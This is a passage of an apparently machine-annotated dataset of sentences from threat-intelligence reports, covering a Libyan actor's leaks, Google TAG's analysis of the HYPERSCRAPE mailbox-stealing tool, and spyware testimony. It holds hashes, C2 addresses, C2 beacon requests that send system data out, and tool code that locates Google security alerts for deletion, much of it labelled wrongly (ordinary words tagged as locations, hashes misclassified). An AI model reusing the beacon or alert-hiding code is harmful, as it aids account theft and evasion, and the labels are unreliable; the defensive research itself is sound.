didn’t bother using services which hid his IP addresses from mail headers, which allowed us to correlate these addresses to a dynamic DNS domain used by the attacker.","entities":[],"relations":[],"Comments":[]} {"id":8282,"text":"We also checked the registrant data of the domains used by the attacker.","entities":[],"relations":[],"Comments":[]} {"id":8283,"text":"This information was exceptionally useful, as it allowed us to find multiple Facebook accounts controlled by the threat actor.","entities":[],"relations":[],"Comments":[]} {"id":8284,"text":"We then confirmed his location (Libya) as well as his probable identity.","entities":[],"relations":[],"Comments":[]} -{"id":8285,"text":"What was more surprising was what he was doing with the stolen documents—apparently, he had decided to post the documents on social media:","entities":[{"id":25545,"label":"location","start_offset":103,"end_offset":107},{"id":25546,"label":"location","start_offset":132,"end_offset":137}],"relations":[],"Comments":[]} {"id":8286,"text":" Figure 1. Stolen document posted on Facebook (Click to enlarge)","entities":[],"relations":[],"Comments":[]} {"id":8287,"text":"He didn't just post embassy documents on Facebook: he also posted stolen credit cards and screens of defaced websites.","entities":[{"id":25548,"label":"identity","start_offset":10,"end_offset":14},{"id":25549,"label":"location","start_offset":15,"end_offset":19},{"id":25550,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} {"id":8288,"text":" Figure 2. Stolen credit cards (Click to enlarge)","entities":[],"relations":[],"Comments":[]} {"id":8289,"text":"This threat actor first published stolen documents in April 2016.","entities":[],"relations":[],"Comments":[]} {"id":8290,"text":"His motives remain unclear since the documents themselves did not contain any particularly unusual information.","entities":[],"relations":[],"Comments":[]} -{"id":8291,"text":"Leaking supposedly secret documents to try to discredit groups and\/or sway public opinion is a hallmark of cyberpropaganda efforts—even if the documents appear to be of limited value.","entities":[{"id":25553,"label":"location","start_offset":75,"end_offset":81}],"relations":[],"Comments":[]} -{"id":8292,"text":"Perhaps he wanted to damage the reputation of the Libyan government, or he aimed to increase his popularity by appearing to be more skilled and sell other services (he offered an old exploit for Office 2007 in January 2017 on Facebook).","entities":[{"id":25555,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]} -{"id":8293,"text":"This incident shows how the worlds of cybercrime and cyberpropaganda can be intertwined: the tools and techniques are equally effective.","entities":[{"id":25559,"label":"location","start_offset":49,"end_offset":52},{"id":25560,"label":"location","start_offset":69,"end_offset":72},{"id":25561,"label":"location","start_offset":99,"end_offset":102},{"id":25562,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} -{"id":8294,"text":"Organizations should realize that defending against attacks should focus on what is technically plausible, as this will ensure protection against various threat actors—even those you don’t expect.","entities":[{"id":25563,"label":"location","start_offset":115,"end_offset":119},{"id":25564,"label":"location","start_offset":127,"end_offset":137}],"relations":[],"Comments":[]} {"id":8295,"text":"Indicators of CompromiseFiles with the following hashes were used in the first series of attacks: cd8329f75b1393ead3e16c6c79ee1ab476e6487370481e5931feb63305f00983 – detected as VBS_KEYLOG.NYKW f46f0e8eed0361294200d64e87b3fb13f6a3797f99f5b588444534f27612a590 – archive file;","entities":[{"id":25565,"label":"SHA1","start_offset":99,"end_offset":163},{"id":25566,"label":"MD5","start_offset":194,"end_offset":258}],"relations":[],"Comments":[]} {"id":8296,"text":"contents detected as VBS_KEYLOG.NYKW fd883a978dd6d95fa5c3b5e0a154e0e07b06e7cb6c685f1ca9f58c73122df24d – archive file; contents detected as VBS_KEYLOG.NYKW 7413c7c0317e49e49d595408f721c2ab2f120215374accf2f8133c9d9ad603fb – detected as WORM_DUNIHI.AUSHH 89427241e26748949c235fc43805c72960d9c2711fa72036c33137648bb475fa – detected as VBS_REMCOS.B","entities":[{"id":25567,"label":"SHA1","start_offset":37,"end_offset":101},{"id":25568,"label":"SHA2","start_offset":155,"end_offset":219},{"id":25569,"label":"SHA2","start_offset":252,"end_offset":316}],"relations":[],"Comments":[]} {"id":8297,"text":"Files with the following hashes were used in the second series of attacks: fb5b5906feab268f90789b15351b8a193fb5f445a3ae9afb1da8fb814ed80325 – detected as VBS_KEYLOG.NYKW 306f4f843c5a5a119a3385ad2b18c78a04fac618031ddecabf0633083a6c9a76 – detected as VBS_KEYLOG.NYKW 33709ca050fd0abc2aba38326996bf1c3b6d9b875228c9f15e624f9002c199a8 – detected as VBS_OBFUS.VUJ ff0f9057d3da7b3500f145ce24670c89a93cdb5cbe74946b17397fc466ddfbda – detected as VBS_AUTORUN.ASUHK 9b7cc8f4807df162f99f5fa592bc7cc5c6a756d9c0311c7b2529f19a0ac59c1a – archive file; contents detected as VBS_OBFUS.VUK 587e38fb11bd0c4021ce6965e92838521616ee4c5506ef0fa160452e9c71d5cf – detected as VBS_OBFUS.VUK Tags APT & Targeted Attacks | Malware | Research | Articles, News, Reports","entities":[{"id":25570,"label":"SHA2","start_offset":76,"end_offset":140},{"id":25571,"label":"SHA2","start_offset":171,"end_offset":235},{"id":25572,"label":"SHA1","start_offset":266,"end_offset":330},{"id":25573,"label":"MD5","start_offset":359,"end_offset":423},{"id":25574,"label":"SHA1","start_offset":456,"end_offset":520},{"id":25575,"label":"SHA1","start_offset":572,"end_offset":636},{"id":25576,"label":"location","start_offset":679,"end_offset":682}],"relations":[],"Comments":[]} -{"id":8298,"text":"As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.","entities":[{"id":25578,"label":"location","start_offset":17,"end_offset":24},{"id":25580,"label":"location","start_offset":62,"end_offset":65},{"id":25581,"label":"location","start_offset":94,"end_offset":99},{"id":25583,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]} -{"id":8299,"text":"For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.","entities":[{"id":25587,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]} -{"id":8300,"text":"Now, we’re shining light on a new tool of theirs.","entities":[{"id":25589,"label":"location","start_offset":19,"end_offset":24},{"id":25590,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]} {"id":8301,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":25593,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":25594,"label":"location","start_offset":57,"end_offset":61},{"id":25598,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]} {"id":8302,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[],"relations":[],"Comments":[]} {"id":8303,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[],"relations":[],"Comments":[]} -{"id":8304,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":25604,"label":"location","start_offset":17,"end_offset":23},{"id":25606,"label":"location","start_offset":38,"end_offset":41},{"id":25607,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]} -{"id":8305,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[{"id":25608,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]} -{"id":8306,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":25609,"label":"location","start_offset":5,"end_offset":9},{"id":25610,"label":"location","start_offset":10,"end_offset":14},{"id":25614,"label":"location","start_offset":127,"end_offset":131}],"relations":[],"Comments":[]} {"id":8307,"text":"HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":25616,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":25617,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} {"id":8308,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.","entities":[{"id":25618,"label":"location","start_offset":5,"end_offset":9},{"id":25620,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]} {"id":8309,"text":" HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.","entities":[],"relations":[],"Comments":[]} -{"id":8310,"text":"It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.","entities":[{"id":25622,"label":"location","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]} -{"id":8311,"text":"Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.","entities":[{"id":25624,"label":"location","start_offset":20,"end_offset":24},{"id":25626,"label":"location","start_offset":76,"end_offset":79},{"id":25627,"label":"location","start_offset":174,"end_offset":177},{"id":25628,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]} -{"id":8312,"text":"After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.","entities":[{"id":25629,"label":"location","start_offset":108,"end_offset":111},{"id":25630,"label":"location","start_offset":124,"end_offset":132}],"relations":[],"Comments":[]} -{"id":8313,"text":"Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.","entities":[{"id":25633,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]} -{"id":8314,"text":"The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.","entities":[{"id":25634,"label":"location","start_offset":4,"end_offset":8},{"id":25635,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]} -{"id":8315,"text":"We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.","entities":[{"id":25638,"label":"location","start_offset":100,"end_offset":103},{"id":25641,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} {"id":8316,"text":"HYPERSCRAPE won't run unless in a directory with other file dependencies.","entities":[],"relations":[],"Comments":[]} -{"id":8317,"text":"When launched, the tool makes an HTTP GET request to a C2 to check for a response body of \"OK'' and will terminate if it's not found.","entities":[{"id":25644,"label":"location","start_offset":19,"end_offset":23},{"id":25645,"label":"location","start_offset":61,"end_offset":66},{"id":25646,"label":"location","start_offset":96,"end_offset":99},{"id":25647,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]} -{"id":8318,"text":"In the version tested, the C2 was unobfuscated and stored as a hardcoded string.","entities":[{"id":25648,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]} {"id":8319,"text":"In later versions it was obfuscated with Base64.","entities":[],"relations":[],"Comments":[]} {"id":8320,"text":"GET http:\/\/{C2}\/Index.php?Ck=OK HTTP\/1.1","entities":[{"id":25649,"label":"URL","start_offset":4,"end_offset":28}],"relations":[],"Comments":[]} -{"id":8321,"text":"Host: {C2}","entities":[{"id":25650,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]} {"id":8322,"text":"Accept-Encoding: gzip Connection: Keep-Alive","entities":[],"relations":[],"Comments":[]} -{"id":8323,"text":"The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.","entities":[{"id":25651,"label":"location","start_offset":4,"end_offset":8},{"id":25652,"label":"location","start_offset":61,"end_offset":65},{"id":25653,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]} {"id":8324,"text":"A new form is displayed if the information is not provided via command prompt.","entities":[],"relations":[],"Comments":[]} -{"id":8325,"text":"Once provided, the data in the \"Identity\" field is sent to a C2 for confirmation.","entities":[{"id":25654,"label":"location","start_offset":42,"end_offset":47}],"relations":[],"Comments":[]} {"id":8326,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]} {"id":8327,"text":"GET http:\/\/{C2}\/Index.php?vubc={identity} HTTP\/1.1","entities":[{"id":25655,"label":"URL","start_offset":4,"end_offset":40}],"relations":[],"Comments":[]} -{"id":8328,"text":"Host: {C2} Accept-Encoding: gzip","entities":[{"id":25656,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]} -{"id":8329,"text":"If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.","entities":[{"id":25657,"label":"location","start_offset":74,"end_offset":78},{"id":25658,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]} -{"id":8330,"text":"After parsing, the cookies are inserted into a local cache used by the embedded web browser.","entities":[{"id":25659,"label":"location","start_offset":27,"end_offset":30},{"id":25660,"label":"location","start_offset":53,"end_offset":58}],"relations":[],"Comments":[]} {"id":8331,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]} {"id":8332,"text":"The browser then navigates to Gmail to begin the data collection.","entities":[],"relations":[],"Comments":[]} -{"id":8333,"text":"The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.","entities":[{"id":25662,"label":"location","start_offset":100,"end_offset":103},{"id":25663,"label":"location","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]} {"id":8334,"text":"If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.","entities":[{"id":25665,"label":"malware","start_offset":64,"end_offset":68},{"id":25666,"label":"location","start_offset":82,"end_offset":85},{"id":25667,"label":"location","start_offset":99,"end_offset":102},{"id":25668,"label":"location","start_offset":112,"end_offset":117},{"id":25669,"label":"location","start_offset":157,"end_offset":161},{"id":25670,"label":"location","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]} {"id":8335,"text":"Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[],"relations":[],"Comments":[]} {"id":8336,"text":"The language is returned to its original setting when the run is finished.","entities":[],"relations":[],"Comments":[]} {"id":8337,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[],"relations":[],"Comments":[]} -{"id":8338,"text":"It does the following for each email found: The emails are saved with \".eml\" extensions under the Downloads directory with the filename corresponding to the subject.","entities":[{"id":25674,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":8339,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]} -{"id":8340,"text":"When finished, a HTTP POST request is made to the C2 to relay the status and system information.","entities":[{"id":25675,"label":"location","start_offset":22,"end_offset":26},{"id":25676,"label":"location","start_offset":38,"end_offset":42},{"id":25677,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":8341,"text":"The downloaded emails are not sent to the C2.","entities":[{"id":25678,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]} {"id":8342,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":25679,"label":"location","start_offset":0,"end_offset":4},{"id":25680,"label":"URL","start_offset":5,"end_offset":44},{"id":25682,"label":"TIME","start_offset":206,"end_offset":217}],"relations":[],"Comments":[]} -{"id":8343,"text":"The program will delete any security emails from Google generated by the attacker’s activity.","entities":[{"id":25683,"label":"location","start_offset":12,"end_offset":16},{"id":25684,"label":"location","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]} -{"id":8344,"text":"private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName(\"span\") where x.TextContent.StartsWith (\"Security alert\") || x.TextContent.StartsWith(\"Archive of Google data requested\") || x.TextContent.StartsWith(\"Your Google data archive is ready\") || x.TextContent.StartsWith(\"Your Google data is ready\") || x.TextContent.StartsWith(\"Critical security alert\") ||","entities":[{"id":25686,"label":"location","start_offset":33,"end_offset":37},{"id":25687,"label":"location","start_offset":59,"end_offset":63},{"id":25688,"label":"location","start_offset":169,"end_offset":177},{"id":25689,"label":"location","start_offset":178,"end_offset":183},{"id":25693,"label":"location","start_offset":410,"end_offset":418},{"id":25694,"label":"location","start_offset":419,"end_offset":424}],"relations":[],"Comments":[]} {"id":8345,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") ||","entities":[],"relations":[],"Comments":[]} {"id":8346,"text":"x.TextContent.StartsWith(\"Review blocked sign-in attempt\") || x.TextContent.","entities":[],"relations":[],"Comments":[]} -{"id":8347,"text":"StartsWith(\"Help us protect you: Security advice from Google\")","entities":[{"id":25695,"label":"location","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]} {"id":8348,"text":"x.TextContent.StartsWith(\"Access for less secure apps has been turned on\") select x).ToList","entities":[],"relations":[],"Comments":[]} {"id":8349,"text":"GeckoHtmlElement > (","entities":[],"relations":[],"Comments":[]} -{"id":8350,"text":"; bool flag = list.Count == 0; return !flag; }","entities":[{"id":25696,"label":"location","start_offset":7,"end_offset":11},{"id":25697,"label":"location","start_offset":14,"end_offset":18},{"id":25698,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]} -{"id":8351,"text":"Data from Google Takeout is also available upon request, but the option was only found in early builds.","entities":[{"id":25699,"label":"location","start_offset":76,"end_offset":80},{"id":25700,"label":"location","start_offset":90,"end_offset":95}],"relations":[],"Comments":[]} -{"id":8352,"text":"The functionality was not automated and it's unclear why it was removed in later versions.","entities":[{"id":25701,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} -{"id":8353,"text":"When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.","entities":[{"id":25702,"label":"location","start_offset":39,"end_offset":43},{"id":25703,"label":"location","start_offset":71,"end_offset":74},{"id":25704,"label":"location","start_offset":136,"end_offset":139},{"id":25705,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]} -{"id":8354,"text":"When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.","entities":[{"id":25706,"label":"location","start_offset":10,"end_offset":13},{"id":25707,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} {"id":8355,"text":"public void ManageTakeOut() { string text = \"PipeName\";","entities":[{"id":25708,"label":"location","start_offset":0,"end_offset":6},{"id":25709,"label":"malware","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]} -{"id":8356,"text":"Process process = new Process(); process.StartInfo.Arguments = string.Format(\"PIPE Google \\\"{0}\\\"\", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();","entities":[{"id":25710,"label":"location","start_offset":193,"end_offset":198}],"relations":[],"Comments":[]} -{"id":8357,"text":"PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)","entities":[{"id":25711,"label":"location","start_offset":78,"end_offset":82},{"id":25712,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]} -{"id":8358,"text":"{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }","entities":[{"id":25713,"label":"location","start_offset":71,"end_offset":75},{"id":25714,"label":"location","start_offset":79,"end_offset":83},{"id":25715,"label":"location","start_offset":180,"end_offset":184},{"id":25716,"label":"location","start_offset":207,"end_offset":211},{"id":25717,"label":"location","start_offset":214,"end_offset":218},{"id":25718,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]} {"id":8359,"text":"jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }","entities":[],"relations":[],"Comments":[]} -{"id":8360,"text":"catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }","entities":[{"id":25719,"label":"location","start_offset":73,"end_offset":77},{"id":25720,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]} {"id":8361,"text":"pipeCommunication.Close(); }","entities":[],"relations":[],"Comments":[]} -{"id":8362,"text":"TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.","entities":[{"id":25722,"label":"location","start_offset":102,"end_offset":110},{"id":25723,"label":"location","start_offset":111,"end_offset":120},{"id":25724,"label":"location","start_offset":122,"end_offset":125},{"id":25725,"label":"location","start_offset":140,"end_offset":143},{"id":25726,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]} -{"id":8363,"text":"It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.","entities":[{"id":25728,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} -{"id":8364,"text":"We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.","entities":[{"id":25729,"label":"location","start_offset":3,"end_offset":7},{"id":25730,"label":"location","start_offset":17,"end_offset":21},{"id":25731,"label":"location","start_offset":55,"end_offset":58},{"id":25732,"label":"location","start_offset":75,"end_offset":79},{"id":25733,"label":"location","start_offset":95,"end_offset":102},{"id":25734,"label":"location","start_offset":116,"end_offset":119},{"id":25735,"label":"location","start_offset":120,"end_offset":124},{"id":25736,"label":"location","start_offset":160,"end_offset":168}],"relations":[],"Comments":[]} {"id":8365,"text":"We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":25737,"label":"tools","start_offset":70,"end_offset":76},{"id":25738,"label":"location","start_offset":77,"end_offset":80},{"id":25739,"label":"location","start_offset":81,"end_offset":89},{"id":25740,"label":"location","start_offset":112,"end_offset":115},{"id":25741,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]} -{"id":8366,"text":"In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.","entities":[{"id":25742,"label":"location","start_offset":72,"end_offset":82},{"id":25743,"label":"location","start_offset":97,"end_offset":100},{"id":25744,"label":"location","start_offset":139,"end_offset":143},{"id":25745,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]} {"id":8367,"text":"C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries","entities":[{"id":25746,"label":"IPV4","start_offset":4,"end_offset":18},{"id":25747,"label":"IPV4","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]} {"id":8368,"text":"03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\\Working\\Projects\\EmailDownloader\\EmailDownloaderCookieMode\\EmailDownloader\\obj\\Debug\\EmailDownloader.pdb E:\\Working\\Projects\\EmailDownloader\\EmailDownloaderCookieMode\\Mahdi\\LiveLib\\obj\\Release\\LiveLib.pdb","entities":[{"id":25748,"label":"SHA2","start_offset":0,"end_offset":64},{"id":25749,"label":"SHA1","start_offset":65,"end_offset":129},{"id":25750,"label":"SHA1","start_offset":130,"end_offset":194},{"id":25751,"label":"MD5","start_offset":195,"end_offset":259},{"id":25752,"label":"SHA2","start_offset":260,"end_offset":324},{"id":25753,"label":"SHA2","start_offset":325,"end_offset":389},{"id":25754,"label":"SHA2","start_offset":390,"end_offset":454},{"id":25755,"label":"SHA2","start_offset":455,"end_offset":519},{"id":25756,"label":"identity","start_offset":520,"end_offset":529},{"id":25757,"label":"MD5","start_offset":539,"end_offset":603}],"relations":[],"Comments":[]} {"id":8369,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.","entities":[],"relations":[],"Comments":[]} {"id":8370,"text":"It was last updated on July 29, 2022.","entities":[],"relations":[],"Comments":[]} -{"id":8371,"text":" The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022. Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.","entities":[{"id":25765,"label":"location","start_offset":213,"end_offset":216},{"id":25766,"label":"location","start_offset":270,"end_offset":281}],"relations":[],"Comments":[]} -{"id":8372,"text":"We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.","entities":[{"id":25770,"label":"location","start_offset":86,"end_offset":94},{"id":25771,"label":"location","start_offset":112,"end_offset":115},{"id":25773,"label":"location","start_offset":153,"end_offset":156},{"id":25774,"label":"location","start_offset":183,"end_offset":188}],"relations":[],"Comments":[]} -{"id":8373,"text":" Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.","entities":[{"id":25777,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} -{"id":8374,"text":"We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.","entities":[{"id":25778,"label":"location","start_offset":12,"end_offset":20},{"id":25779,"label":"location","start_offset":50,"end_offset":53},{"id":25780,"label":"location","start_offset":126,"end_offset":131}],"relations":[],"Comments":[]} -{"id":8375,"text":"Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.","entities":[{"id":25783,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} -{"id":8376,"text":"TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":25785,"label":"location","start_offset":36,"end_offset":39},{"id":25786,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]} -{"id":8377,"text":"For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.","entities":[{"id":25787,"label":"location","start_offset":43,"end_offset":46},{"id":25788,"label":"location","start_offset":90,"end_offset":93},{"id":25790,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} {"id":8378,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.","entities":[{"id":25792,"label":"tools","start_offset":48,"end_offset":54},{"id":25793,"label":"location","start_offset":55,"end_offset":58},{"id":25794,"label":"location","start_offset":59,"end_offset":67},{"id":25795,"label":"location","start_offset":84,"end_offset":87},{"id":25796,"label":"location","start_offset":121,"end_offset":129}],"relations":[],"Comments":[]} -{"id":8379,"text":"We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.","entities":[{"id":25797,"label":"location","start_offset":116,"end_offset":119},{"id":25798,"label":"location","start_offset":132,"end_offset":138}],"relations":[],"Comments":[]} -{"id":8380,"text":"TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.","entities":[{"id":25800,"label":"location","start_offset":11,"end_offset":14},{"id":25801,"label":"location","start_offset":60,"end_offset":63},{"id":25802,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]} {"id":8381,"text":"And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.","entities":[{"id":25803,"label":"location","start_offset":0,"end_offset":3},{"id":25804,"label":"identity","start_offset":13,"end_offset":17},{"id":25805,"label":"location","start_offset":23,"end_offset":31},{"id":25806,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} -{"id":8382,"text":"We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.","entities":[{"id":25807,"label":"location","start_offset":3,"end_offset":6},{"id":25808,"label":"location","start_offset":22,"end_offset":28},{"id":25809,"label":"location","start_offset":32,"end_offset":36},{"id":25810,"label":"location","start_offset":43,"end_offset":51},{"id":25813,"label":"location","start_offset":105,"end_offset":113},{"id":25816,"label":"location","start_offset":187,"end_offset":190},{"id":25817,"label":"location","start_offset":213,"end_offset":216},{"id":25818,"label":"location","start_offset":251,"end_offset":256}],"relations":[],"Comments":[]} -{"id":8383,"text":" Google has a long track record combating commercial surveillance tools targeting our users.","entities":[{"id":25820,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]} -{"id":8384,"text":"In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.","entities":[{"id":25824,"label":"location","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]} -{"id":8385,"text":"At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.","entities":[{"id":25827,"label":"location","start_offset":7,"end_offset":11},{"id":25829,"label":"location","start_offset":150,"end_offset":155}],"relations":[],"Comments":[]} {"id":8386,"text":"We observed fewer than three dozen installs of this spyware.","entities":[],"relations":[],"Comments":[]} -{"id":8387,"text":"We remediated the compromises for these users and implemented controls to protect all Android users.","entities":[{"id":25831,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]} {"id":8388,"text":"NSO Group continues to pose risks across the Internet ecosystem.","entities":[],"relations":[],"Comments":[]} {"id":8389,"text":"In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for 